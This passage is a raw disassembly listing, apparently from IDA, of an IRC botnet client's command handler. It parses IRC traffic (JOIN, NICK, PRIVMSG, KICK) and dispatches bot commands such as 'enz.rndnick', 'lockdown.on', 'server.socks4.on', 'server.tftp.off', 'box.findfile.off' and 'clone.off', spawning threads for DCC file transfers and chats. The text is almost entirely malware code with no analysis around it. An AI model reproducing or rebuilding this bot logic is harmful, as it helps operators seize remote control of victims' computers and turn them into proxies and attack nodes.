push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 10h
jmp loc_40CFC9
; ---------------------------------------------------------------------------
loc_40CF25: ; CODE XREF: sub_40CD3A+1A9j
mov esi, [ebp+var_90]
push esi
push offset a001 ; "001"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41299F
push esi
push offset a005 ; "005"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41299F
push esi
push offset a302 ; "302"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CF90
push offset a@_6 ; "@"
push [ebp+var_88]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40CFC9
inc eax
push 9Fh
push eax
push [ebp+arg_1C]
call sub_416BE0
add esp, 0Ch
jmp short loc_40CFC9
; ---------------------------------------------------------------------------
loc_40CF90: ; CODE XREF: sub_40CD3A+22Aj
push esi
push offset a433 ; "433"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CFD0
push ebx
push dword_46AB28
push dword_42C268
push [ebp+arg_10]
call sub_414278
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 1Ch
loc_40CFC9: ; CODE XREF: sub_40CD3A+1CAj
; sub_40CD3A+1E6j ...
mov eax, edi
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_40CFD0: ; CODE XREF: sub_40CD3A+265j
mov esi, [ebp+arg_18]
mov [ebp+var_D4], 2
mov edi, 80h
loc_40CFE2: ; CODE XREF: sub_40CD3A+2CDj
lea eax, [ebp+var_B10]
push eax
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40CFFF
mov [ebp+var_A4], 1
loc_40CFFF: ; CODE XREF: sub_40CD3A+2B9j
add esi, edi
dec [ebp+var_D4]
jnz short loc_40CFE2
mov esi, [ebp+var_90]
push esi
push offset aKick ; "KICK"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D0E8
mov esi, [ebp+arg_18]
mov [ebp+arg_24], 2
loc_40D02E: ; CODE XREF: sub_40CD3A+373j
cmp [esi], bl
jz short loc_40D0A8
push 7Fh
lea eax, [ebp+var_B10]
push esi
push eax
call sub_416BE0
add esp, 0Ch
cmp [ebp+var_88], ebx
jz short loc_40D0A8
push [ebp+var_88]
lea eax, [ebp+var_C0]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0A8
lea eax, [ebp+var_C0]
mov [esi], bl
push eax
lea eax, [ebp+var_2D8]
push offset dword_436698
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
add esp, 20h
loc_40D0A8: ; CODE XREF: sub_40CD3A+2F6j
; sub_40CD3A+310j ...
add esi, edi
dec [ebp+arg_24]
jnz loc_40D02E
push [ebp+var_88]
push [ebp+arg_10]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D18F
push [ebp+arg_C]
mov eax, [ebp+arg_20]
push [ebp+arg_8]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40D0DB: ; CODE XREF: sub_40CD3A+5D6j
; sub_40CD3A+918j
push [ebp+arg_4]
call sub_412B8B
jmp loc_412188
; ---------------------------------------------------------------------------
loc_40D0E8: ; CODE XREF: sub_40CD3A+2E4j
push esi
push offset aNick ; "NICK"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D224
mov eax, [ebp+var_8C]
mov esi, [ebp+arg_18]
inc eax
mov [ebp+arg_0], 2
mov [ebp+arg_24], eax
loc_40D111: ; CODE XREF: sub_40CD3A+429j
lea eax, [ebp+var_B10]
push eax
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D15E
lea eax, [ebp+var_B10]
push 21h
push eax
call sub_416F20
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_1C], eax
jz short loc_40D15E
push [ebp+arg_24]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_415A20
push [ebp+arg_1C]
push edi
call sub_415A30
add esp, 10h
mov edi, 80h
loc_40D15E: ; CODE XREF: sub_40CD3A+3E8j
; sub_40CD3A+3FFj
add esi, edi
dec [ebp+arg_0]
jnz short loc_40D111
cmp [ebp+arg_24], ebx
jz short loc_40D18F
push [ebp+arg_10]
lea eax, [ebp+var_C0]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D197
push 0Fh
push [ebp+arg_24]
push [ebp+arg_10]
call sub_416BE0
add esp, 0Ch
loc_40D18F: ; CODE XREF: sub_40CD3A+5Bj
; sub_40CD3A+E4j ...
xor eax, eax
inc eax
loc_40D192: ; CODE XREF: sub_40CD3A+291j
; sub_40CD3A+281Fj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D197: ; CODE XREF: sub_40CD3A+443j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D19C: ; CODE XREF: sub_40CD3A+483j
cmp [edi], bl
jz short loc_40D1B3
lea eax, [ebp+var_B10]
push eax
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D1C1
loc_40D1B3: ; CODE XREF: sub_40CD3A+464j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D19C
jmp short loc_40D18F
; ---------------------------------------------------------------------------
loc_40D1C1: ; CODE XREF: sub_40CD3A+477j
lea eax, [ebp+var_B10]
push 21h
push eax
call sub_416F20
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+arg_0], eax
jz short loc_40D18F
push eax
call sub_415B10
push [ebp+arg_24]
mov edi, eax
call sub_415B10
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja short loc_40D18F
push [ebp+arg_0]
shl esi, 7
push [ebp+arg_24]
add esi, [ebp+arg_18]
push offset aSS_1 ; ":%s%s"
push esi
call sub_415316
push ebx
lea eax, [ebp+var_33C]
push ebx
push eax
push [ebp+arg_8]
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_40D224: ; CODE XREF: sub_40CD3A+3BDj
push esi
push offset aPart ; "PART"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D246
push esi
push offset aQuit ; "QUIT"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D26D
loc_40D246: ; CODE XREF: sub_40CD3A+4F9j
mov edi, [ebp+arg_18]
xor esi, esi
loc_40D24B: ; CODE XREF: sub_40CD3A+531j
cmp [edi], bl
jz short loc_40D261
push [ebp+var_94]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D2B4
loc_40D261: ; CODE XREF: sub_40CD3A+513j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D24B
loc_40D26D: ; CODE XREF: sub_40CD3A+50Aj
push [ebp+var_90]
push offset a353 ; "353"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D315
push [ebp+var_84]
push [ebp+arg_8]
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2A4
mov eax, [ebp+arg_20]
mov dword ptr [eax], 1
loc_40D2A4: ; CODE XREF: sub_40CD3A+55Fj
push [ebp+var_84]
push offset dword_436638
jmp loc_412993
; ---------------------------------------------------------------------------
loc_40D2B4: ; CODE XREF: sub_40CD3A+525j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push offset dword_436604
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
push [ebp+var_90]
push offset aPart ; "PART"
call sub_415730
add esp, 18h
test eax, eax
jnz loc_40D18F
lea eax, [ebp+var_2D8]
push eax
mov eax, [ebp+var_94]
inc eax
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
jmp loc_40D0DB
; ---------------------------------------------------------------------------
loc_40D315: ; CODE XREF: sub_40CD3A+547j
push [ebp+var_90]
mov esi, offset aPrivmsg ; "PRIVMSG"
push esi
call sub_415730
pop ecx
mov edi, offset aNotice ; "NOTICE"
test eax, eax
pop ecx
jz short loc_40D369
push [ebp+var_90]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D369
push [ebp+var_90]
push offset dword_4365F0
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_412818
cmp dword_42C258, ebx
jz loc_412818
loc_40D369: ; CODE XREF: sub_40CD3A+5F5j
; sub_40CD3A+607j
push [ebp+var_90]
push esi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D4E2
push [ebp+var_90]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_40D4E2
mov eax, [ebp+var_88]
inc [ebp+var_84]
mov [ebp+var_A8], 4
mov [ebp+var_8C], eax
loc_40D3B1: ; CODE XREF: sub_40CD3A+867j
; sub_40CD3A+8EDj ...
mov eax, [ebp+var_A8]
mov esi, eax
shl esi, 2
lea edi, [ebp+esi+var_94]
mov eax, [edi]
push eax
push offset dword_4365E8
mov [ebp+arg_8], eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D7CB
push [ebp+esi+var_90]
push offset aSend_0 ; "SEND"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D693
cmp [ebp+var_A4], ebx
jz loc_40D669
push [ebp+esi+var_8C]
mov edi, offset aS_1 ; "%s"
lea eax, [ebp+var_844]
push edi
push eax
call sub_415316
push [ebp+esi+var_88]
lea eax, [ebp+var_858]
push edi
push eax
call sub_415316
push [ebp+esi+var_84]
call sub_41587F
mov [ebp+var_6C0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_740]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
lea eax, [ebp+var_740]
push eax
lea eax, [ebp+var_844]
push eax
lea eax, [ebp+var_2D8]
push offset dword_4365A0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 12h
push eax
call sub_414DDA
add esp, 44h
mov [ebp+var_6BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40B9BC
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6BC]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jz loc_411406
jmp loc_40D65F
; ---------------------------------------------------------------------------
loc_40D4E2: ; CODE XREF: sub_40CD3A+63Fj
; sub_40CD3A+655j
push [ebp+var_90]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40D4FB
mov [ebp+var_4], 1
loc_40D4FB: ; CODE XREF: sub_40CD3A+7B8j
cmp [ebp+var_8C], ebx
jz loc_40D18F
push (offset loc_426447+1)
push [ebp+var_8C]
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_40D522
cmp [ebp+var_4], ebx
jz short loc_40D52E
loc_40D522: ; CODE XREF: sub_40CD3A+7E1j
lea eax, [ebp+var_C0]
mov [ebp+var_8C], eax
loc_40D52E: ; CODE XREF: sub_40CD3A+7E6j
cmp [ebp+var_88], ebx
jz loc_40D18F
inc [ebp+var_88]
jz short loc_40D578
cmp [ebp+arg_10], ebx
jz short loc_40D578
lea eax, [ebp+var_43C]
push eax
call sub_415B10
push eax
lea eax, [ebp+var_43C]
push [ebp+var_88]
push eax
call sub_416D70
add esp, 10h
neg eax
sbb eax, eax
add eax, 4
mov [ebp+var_A8], eax
jmp short loc_40D57E
; ---------------------------------------------------------------------------
loc_40D578: ; CODE XREF: sub_40CD3A+806j
; sub_40CD3A+80Bj
mov eax, [ebp+var_A8]
loc_40D57E: ; CODE XREF: sub_40CD3A+83Cj
mov esi, eax
shl esi, 2
mov edi, [ebp+esi+var_94]
cmp edi, ebx
jz loc_40D18F
push edi
push offset dword_436594
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D3B1
mov ecx, [ebp+var_8C]
cmp byte ptr [ecx], 23h
jz short loc_40D618
mov eax, dword_46AB34
mov eax, off_42C330[eax*4]
cmp [eax], bl
jz short loc_40D618
push eax
push ecx
push offset dword_436578
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push offset aSHasJustVersio ; "%s has just versioned me."
push eax
call sub_415316
lea eax, [ebp+var_2D8]
push eax
call sub_40B078
add esp, 20h
cmp [ebp+var_A4], ebx
jnz loc_40D18F
push ebx
lea eax, [ebp+var_2D8]
push 1
push eax
push offset dword_46AA44
jmp loc_411FD7
; ---------------------------------------------------------------------------
loc_40D618: ; CODE XREF: sub_40CD3A+876j
; sub_40CD3A+886j
push edi
push offset dword_436554
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D3B1
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz loc_40D3B1
mov eax, [ebp+var_8C]
cmp byte ptr [eax], 23h
jz loc_40D3B1
push esi
push eax
push offset dword_43653C
jmp loc_40D0DB
; ---------------------------------------------------------------------------
loc_40D657: ; CODE XREF: sub_40CD3A+92Bj
push 32h
call dword_421060 ; Sleep
loc_40D65F: ; CODE XREF: sub_40CD3A+7A3j
cmp [ebp+var_6B0], ebx
jz short loc_40D657
jmp short loc_40D68B
; ---------------------------------------------------------------------------
loc_40D669: ; CODE XREF: sub_40CD3A+6C4j
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push [ebp+esi+var_8C]
push offset dword_4364E8
push eax
call sub_415316
add esp, 10h
loc_40D68B: ; CODE XREF: sub_40CD3A+92Dj
; sub_40CD3A+A6Aj ...
xor esi, esi
inc esi
jmp loc_40F54A
; ---------------------------------------------------------------------------
loc_40D693: ; CODE XREF: sub_40CD3A+6B8j
push [ebp+esi+var_90]
push offset aChat ; "CHAT"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_40D7E1
cmp [ebp+var_A4], ebx
jz loc_40D7BA
push 13h
call sub_41501C
test eax, eax
pop ecx
jnz loc_40D7A9
push [ebp+esi+var_88]
lea eax, [ebp+var_858]
push offset aS_1 ; "%s"
push eax
call sub_415316
push [ebp+esi+var_84]
call sub_41587F
mov [ebp+var_6C0], eax
mov eax, [ebp+arg_4]
mov [ebp+var_860], eax
lea eax, [ebp+var_C0]
push 7Fh
push eax
lea eax, [ebp+var_740]
push eax
call sub_416BE0
mov eax, [ebp+var_4]
mov [ebp+var_6B8], eax
mov eax, [ebp+var_8]
mov [ebp+var_6B4], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_2D8]
push offset dword_4364A8
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 13h
push eax
call sub_414DDA
add esp, 34h
mov [ebp+var_6BC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_860]
push ebx
push eax
push offset sub_40B459
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_6BC]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_40D79C
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_436460
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_40D794: ; CODE XREF: sub_40CD3A+A68j
push 32h
call dword_421060 ; Sleep
loc_40D79C: ; CODE XREF: sub_40CD3A+A47j
cmp [ebp+var_6B0], ebx
jz short loc_40D794
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_40D7A9: ; CODE XREF: sub_40CD3A+98Aj
lea eax, [ebp+var_C0]
push eax
push offset dword_436418
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_40D7BA: ; CODE XREF: sub_40CD3A+97Aj
lea eax, [ebp+var_C0]
push eax
push offset dword_4363D0
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_40D7CB: ; CODE XREF: sub_40CD3A+69Dj
mov eax, [ebp+arg_8]
lea ecx, [eax+1]
mov al, [eax]
cmp al, byte_42C260
mov [edi], ecx
jnz loc_40D18F
loc_40D7E1: ; CODE XREF: sub_40CD3A+96Ej
mov edi, [edi]
push edi
push offset aNewshit ; "newshit"
mov [ebp+arg_8], edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412820
push edi
push offset aHi_0 ; "hi"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_412820
cmp [ebp+var_A4], ebx
jnz short loc_40D832
push [ebp+var_90]
push offset dword_4365F0
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz loc_412818
loc_40D832: ; CODE XREF: sub_40CD3A+ADCj
cmp [ebp+arg_28], ebx
jnz loc_412818
xor edi, edi
cmp dword_42E870, ebx
jle loc_40D9D6
mov [ebp+arg_20], offset dword_440948
loc_40D850: ; CODE XREF: sub_40CD3A+B35j
push [ebp+arg_8]
push [ebp+arg_20]
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_40D876
add [ebp+arg_20], 0B8h
inc edi
cmp edi, dword_42E870
jl short loc_40D850
jmp loc_40D9D6
; ---------------------------------------------------------------------------
loc_40D876: ; CODE XREF: sub_40CD3A+B25j
push offset asc_43670C ; " :"
push [ebp+arg_0]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40D18F
mov cl, byte_42C260
imul edi, 0B8h
mov [eax+2], cl
mov cl, byte_42C260
mov [eax+3], cl
lea ecx, dword_440960[edi]
push 9Fh
add eax, 4
push ecx
push eax
call sub_416BE0
lea eax, dword_440948[edi]
add esp, 0Ch
mov [ebp+arg_8], 0Fh
mov [ebp+arg_20], eax
lea edi, [ebp+esi+var_54]
loc_40D8D1: ; CODE XREF: sub_40CD3A+C31j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_1 ; "$%d-"
push eax
call sub_415316
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4158E0
add esp, 14h
test eax, eax
jz short loc_40D933
cmp [edi], ebx
jz short loc_40D937
push [ebp+arg_20]
call sub_415B10
add [ebp+var_C], eax
pop ecx
jz short loc_40D962
push dword ptr [edi-4]
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40D962
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
add esp, 0Ch
jmp short loc_40D962
; ---------------------------------------------------------------------------
loc_40D933: ; CODE XREF: sub_40CD3A+BBFj
cmp [edi], ebx
jnz short loc_40D962
loc_40D937: ; CODE XREF: sub_40CD3A+BC3j
lea eax, [ebp+var_A0]
push 2
push eax
lea eax, [ebp+var_14]
push eax
call sub_416BE0
lea eax, [ebp+var_14]
mov [ebp+var_12], bl
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
add esp, 18h
loc_40D962: ; CODE XREF: sub_40CD3A+BD1j
; sub_40CD3A+BE2j ...
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg loc_40D8D1
lea eax, [ebp+esi+var_54]
mov [ebp+arg_8], 10h
mov edi, eax
loc_40D97E: ; CODE XREF: sub_40CD3A+C90j
push [ebp+arg_8]
lea eax, [ebp+var_A0]
push offset aD_0 ; "$%d"
push eax
call sub_415316
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4158E0
add esp, 14h
test eax, eax
jz short loc_40D9C1
mov eax, [edi]
cmp eax, ebx
jz short loc_40D9C1
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
add esp, 0Ch
loc_40D9C1: ; CODE XREF: sub_40CD3A+C6Cj
; sub_40CD3A+C72j
dec [ebp+arg_8]
sub edi, 4
cmp [ebp+arg_8], ebx
jg short loc_40D97E
mov [ebp+var_D8], 1
loc_40D9D6: ; CODE XREF: sub_40CD3A+B09j
; sub_40CD3A+B37j
lea eax, [ebp+esi+var_94]
mov edi, [eax]
mov cl, [edi]
cmp cl, byte_42C260
jz short loc_40D9F5
cmp [ebp+var_D8], ebx
jz loc_40DBD5
loc_40D9F5: ; CODE XREF: sub_40CD3A+CADj
push [ebp+arg_10]
mov edi, [ebp+arg_0]
push offset aMe_0 ; "$me"
push edi
call sub_4098D4
lea eax, [ebp+var_C0]
push eax
push offset aUser_2 ; "$user"
push edi
call sub_4098D4
push [ebp+var_8C]
push offset aChan ; "$chan"
push edi
call sub_4098D4
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_414278
push eax
push offset aRndnick ; "$rndnick"
push edi
call sub_4098D4
add esp, 40h
push [ebp+arg_14]
push offset aServer_2 ; "$server"
push edi
call sub_4098D4
mov edi, offset aChr ; "$chr("
push edi
push [ebp+arg_0]
call sub_4158E0
add esp, 14h
jmp loc_40DB50
; ---------------------------------------------------------------------------
loc_40DA6C: ; CODE XREF: sub_40CD3A+E18j
push edi
push [ebp+arg_0]
call sub_4158E0
mov [ebp+arg_10], eax
add eax, 5
push 4
push eax
lea eax, [ebp+var_A0]
push eax
call sub_416BE0
lea eax, [ebp+var_A0]
push offset asc_436384 ; ")"
push eax
call sub_416B3F
add esp, 1Ch
cmp [ebp+var_A0], 30h
jl short loc_40DAB0
cmp [ebp+var_A0], 39h
jle short loc_40DAC6
loc_40DAB0: ; CODE XREF: sub_40CD3A+D6Bj
push 3
lea eax, [ebp+var_A0]
push offset a63 ; "63"
push eax
call sub_416BE0
add esp, 0Ch
loc_40DAC6: ; CODE XREF: sub_40CD3A+D74j
lea eax, [ebp+var_A0]
push eax
call sub_41587F
test eax, eax
pop ecx
jle short loc_40DAE9
lea eax, [ebp+var_A0]
push eax
call sub_41587F
pop ecx
mov [ebp+var_14], al
jmp short loc_40DAFA
; ---------------------------------------------------------------------------
loc_40DAE9: ; CODE XREF: sub_40CD3A+D9Bj
call sub_415372
push 60h
cdq
pop ecx
idiv ecx
add dl, 20h
mov [ebp+var_14], dl
loc_40DAFA: ; CODE XREF: sub_40CD3A+DADj
lea eax, [ebp+var_A0]
mov [ebp+var_13], bl
push eax
call sub_415B10
mov [ebp+arg_8], eax
push 0Ch
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415390
mov eax, [ebp+arg_8]
add eax, 6
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_10]
push eax
call sub_416BE0
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call sub_4098D4
push edi
push [ebp+arg_0]
call sub_4158E0
add esp, 30h
loc_40DB50: ; CODE XREF: sub_40CD3A+D2Dj
test eax, eax
jnz loc_40DA6C
mov edi, 1FFh
lea eax, [ebp+var_21D4]
push edi
push [ebp+arg_0]
push eax
call sub_416BE0
lea eax, [ebp+var_21D4]
push edi
push eax
lea eax, [ebp+var_23D4]
push eax
call sub_416BE0
mov edi, offset asc_426A34 ; " "
lea eax, [ebp+var_23D4]
push edi
push eax
call sub_416B3F
add esp, 20h
mov [ebp+var_94], eax
mov [ebp+arg_10], 1
loc_40DBA3: ; CODE XREF: sub_40CD3A+E83j
push edi
push ebx
call sub_416B3F
pop ecx
pop ecx
mov ecx, [ebp+arg_10]
inc [ebp+arg_10]
cmp [ebp+arg_10], 20h
mov [ebp+ecx*4+var_94], eax
jl short loc_40DBA3
lea eax, [ebp+esi+var_94]
mov ecx, [eax]
cmp ecx, ebx
jz loc_40D18F
add ecx, 3
mov [eax], ecx
loc_40DBD5: ; CODE XREF: sub_40CD3A+CB5j
mov edi, [eax]
push edi
push offset aEnz_rndnick ; "enz.rndnick"
mov [ebp+arg_8], edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127CB
push edi
push offset aEnz_rn ; "enz.rn"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127CB
push edi
push offset aEnz_endsess ; "enz.endsess"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127A9
push edi
push offset aEnz_d ; "enz.d"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4127A9
push edi
push offset aEnz_logout ; "enz.logout"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41270B
push edi
push offset aEnz_lo ; "enz.lo"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41270B
push edi
push offset aEnz_version ; "enz.version"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4126FC
push edi
push offset aEnz_ver ; "enz.ver"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4126FC
push edi
push offset aLockdown_on ; "lockdown.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aLd_on ; "ld.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aLockdown_off ; "lockdown.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aLd_off ; "ld.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4125FF
push edi
push offset aServer_socks4_ ; "server.socks4.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124DE
push edi
push offset aServer_s4_on ; "server.s4.on"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124DE
push edi
push offset aServer_socks_0 ; "server.socks4.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD29
push [ebp+esi+var_90]
push 11h
push offset aServer ; "Server"
push offset dword_4362B4
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DD29: ; CODE XREF: sub_40CD3A+FD5j
push edi
push offset aServer_rlogin_ ; "server.rlogin.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD52
push [ebp+esi+var_90]
push 6
push offset aServer ; "Server"
push offset dword_436290
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DD52: ; CODE XREF: sub_40CD3A+FFEj
push edi
push offset dword_436280
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DD7B
push [ebp+esi+var_90]
push 3
push offset aServer ; "Server"
push offset dword_436274
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DD7B: ; CODE XREF: sub_40CD3A+1027j
push edi
push offset dword_43626C
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DDA4
push [ebp+esi+var_90]
push 1Ch
push offset dword_436260
push offset dword_436254
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DDA4: ; CODE XREF: sub_40CD3A+1050j
push edi
push offset aServer_redirec ; "server.redirect.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DDCD
push [ebp+esi+var_90]
push 10h
push offset dword_436230
push offset dword_436220
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DDCD: ; CODE XREF: sub_40CD3A+1079j
push edi
push offset dword_436214
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DDF6
push [ebp+esi+var_90]
push 0Ah
push offset dword_436208
push offset dword_4361FC
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DDF6: ; CODE XREF: sub_40CD3A+10A2j
push edi
push offset dword_4361EC
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE1F
push [ebp+esi+var_90]
push 0Bh
push offset dword_4361E0
push offset dword_4361D4
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE1F: ; CODE XREF: sub_40CD3A+10CBj
push edi
push offset dword_4361C4
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE48
push [ebp+esi+var_90]
push 0Fh
push offset dword_4361B8
push offset dword_4361AC
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE48: ; CODE XREF: sub_40CD3A+10F4j
push edi
push offset dword_43619C
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE71
push [ebp+esi+var_90]
push 0Eh
push offset dword_436190
push offset dword_436184
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE71: ; CODE XREF: sub_40CD3A+111Dj
push edi
push offset aServer_tftp_of ; "server.tftp.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DE9A
push [ebp+esi+var_90]
push 4
push offset aServer ; "Server"
push offset dword_436168
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DE9A: ; CODE XREF: sub_40CD3A+1146j
push edi
push offset aBox_findfile_o ; "box.findfile.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124AF
push edi
push offset aBox_ff_off ; "box.ff.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_4124AF
push edi
push offset aBox_procs_off ; "box.procs.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41249A
push edi
push offset aBox_ps_off ; "box.ps.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz loc_41249A
push edi
push offset aClone_off ; "clone.off"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF17
push [ebp+esi+var_90]
push 17h
push offset aClone ; "Clone"
push offset dword_436108
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DF17: ; CODE XREF: sub_40CD3A+11C3j
push edi
push offset aLockdown_stop ; "lockdown.stop"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_40DF40
push [ebp+esi+var_90]
push 19h
push offset aSecure_0 ; "Secure"
push offset dword_4360E0
jmp loc_4124C2
; ---------------------------------------------------------------------------
loc_40DF40: ; CODE XREF: sub_40CD3A+11ECj
push edi
